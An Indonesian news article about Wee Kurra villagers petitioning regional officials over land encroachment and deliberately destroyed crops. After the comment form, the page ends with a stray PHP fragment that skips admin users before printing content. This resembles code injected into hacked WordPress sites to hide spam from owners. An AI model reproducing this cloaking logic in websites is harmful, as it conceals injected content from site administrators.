Hukum

Warga Wee Kurra Surati Forkompinda Adukan Penyerobotan Lahan dan Perusakan Tanaman yang Terkesan “Didiamkan” Begitu Saja

×

Warga Wee Kurra Surati Forkompinda Adukan Penyerobotan Lahan dan Perusakan Tanaman yang Terkesan “Didiamkan” Begitu Saja

Sebarkan artikel ini

WEWEWA BARAT, MENARASUMBA.COM – Warga Dusun IV Eru Naga, Desa Wee Kurra, Kecamatan Wewewa Barat, Kabupaten SBD menyurati Forkompinda.

Dalam surat tertanggal 02 September 2025 yang ditandatangani oleh 20 orang perwakilan pemilik lahan ini warga meminta para pelaku ditindak sesuai peraturan hukum yang berlaku.

Perusakan tanaman di kebun warga Wee Kurra dengan cara dikelupas bagian kulitnya untuk mematikan pohon. ( Foto Menara Sumba )

Surat ini ditujukan kepada Forkompinda yang terdiri dari Bupati SBD, Kapolres SBD, Dandim 1629/SBD, Pimpinan DRPD SBD, Kepala Kejaksaan Negeri Sumba Barat, dan Ketua Pengadilan Negeri Waikabubak.

Selain Forkompinda surat ini ditujukan pula kepada Kepala Kantor Pertanahan Kabupaten SBD selaku pihak yang melakukan pemetaan wilayah.

Pengaduan resmi ini dilayangkan setelah empat bulan urusan penyerobotan lahan tersebut terkesan jalan di tempat.

Hamparan lahan pertanian luas ini diserobot oleh oknum warga yang diduga adalah penduduk Desa Weri Lolo dan Desa Wee Baghe di Kecamatan Wewewa Selatan.

Berbagai jenis tanaman umur panjang seperti mente, kakao, termasuk tanaman untuk bahan bangunan seperti mahoni dan bambu dirusak dengan cara dibakar dan dikelupas kulitnya.

Dalam penjelasan isi surat itu disebut, sejatinya persoalan lahan antara dua wilayah kecamatan (Kecamatan Wewewa Barat dan Kecamatan Wewewa Selatan) sudah tuntas ditangani pada tahun 2002.

Saat itu, Kabupaten Sumba Barat Daya belum terbentuk dan masih jadi bagian dari Kabupaten Sumba Barat dipimpin oleh Bupati Thimotius Langgar, SH.

Tanaman umur panjang yang sudah mati karena dirusak para penyerobot. ( Foto Menara Sumba )

Oleh Bupati Thimotius Langgar, persoalan batas wilayah yang selalu menimbulkan ketegangan antara warga Wewewa Barat dan warga Wewewa berhasil diselesaikannya.

Bupati Thimotius Langgar yang juga berasal dari Wewewa Selatan ini memimpin langsung penetapan tapal batas dua wilayah kecamatan itu ditandai dengan penanaman pilar dan dicatatkan oleh pihak Kantor Pertanahan Kabupaten Sumba Barat.

Warga Desa Wee Kurra pemilik lahan ini meminta pihak berwenang untuk menindak tegas perbuatan para penyerobot.

Aloysius Adi Papa, salah seorang perwakilan warga menegaskan, jika ada pihak yang tidak lagi mengakui penetapan batas lahan yang sudah disepakati pada tahun 2002 lalu maka semestinya menempuh upaya hukum.

“Menyerobot lahan dan merusak tanaman di kebun kami merupakan tindak pidana kejahatan yang semestinya diproses hukum oleh pihak berwenang,” tandasnya, Rabu (03/08/2025) saat ditemui awak media.

Hal senada dikatakan Agustinus Ngongo Tanggu yang juga mewakili warga dalam surat pengaduan ini.

Menurut dia, warga Wee Kurra sangat patuh kepada pemerintah sehingga meski lahan diserobot tetap taat terhadap imbauan untuk tenang dan aman.

Sayangnya keadaan ini justru dimanfaatkan oleh para penyerobot untuk makin brutal dan merusak tanaman di kebun warga Wee Kurra.

Selama ini, kata dia, warga Wee Kurra taat bayar pajak, termasuk patuh pada imbauan untuk amankan diri tidak bereaksi terhadap ulah para penyerobot.

“Semestinya pemerintah bertindak tegas terhadap oknum penyerobot,” pungkasnya. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>